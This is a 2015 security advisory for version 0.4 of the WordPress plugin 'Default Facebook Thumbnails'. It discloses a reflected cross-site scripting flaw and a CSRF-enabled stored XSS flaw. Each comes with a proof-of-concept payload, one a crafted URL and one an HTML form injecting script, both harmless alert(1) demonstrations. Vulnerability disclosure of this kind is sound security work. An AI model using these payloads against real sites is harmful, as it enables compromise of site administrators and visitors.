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WordPress Default Facebook Thumbnails 0.4 Cross Site Scripting

WordPress Default Facebook Thumbnails 0.4 Cross Site Scripting
Posted Jul 30, 2015
Authored by Morten Nortoft, Kenneth Jepsen, Mikkel Vej

WordPress Default Facebook Thumbnails plugin version 0.4 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | 8eb1c8c56caffed342a162b08f1d5ad0

WordPress Default Facebook Thumbnails 0.4 Cross Site Scripting

Change Mirror Download
Title: WordPress 'Default Facebook Thumbnails' Plugin 
Version: 0.4
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-13
Download:
- https://wordpress.org/plugins/default-facebook-thumbnail/
- https://plugins.svn.wordpress.org/default-facebook-thumbnail/
Notified WordPress: 2015-06-21
==========================================================

## Plugin description
==========================================================
This plugin adds a og:image tag to your head with the input/upload of the image in the settings.

## XSS/CSRF Vulnerabilities
==========================================================
The request URI is echo'ed into the HTML page without sanitization. This can be exploited with a direct link to the vulnerable file (keep in mind that most modern browsers encode the url).

PoC:
[URL]/wp-content/plugins/default-facebook-thumbnail/fb_thumbnail_admin.php?/"><script>alert(1)</script>

The "Upload Image or URL" field in the admin-settings page is vulnerable to stored XSS. This can be exploited by utilizing a CSRF vulnerability.

PoC:
Log in as admin and submit this form:

<form method="POST" action="http://[URL]/wp-admin/admin.php?page=fb_thumbs">
<text>upload image: </text>
<input type="text" name="upload_image" value=""><script>alert(1)</script>"><br />
<text>fb_thumb_hidden: </text>
<input type="text" name="fb_thumb_hidden" value="Y" readonly><br />
<input type="submit">
</form>


## Solution
==========================================================
No fix available

==========================================================
XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.

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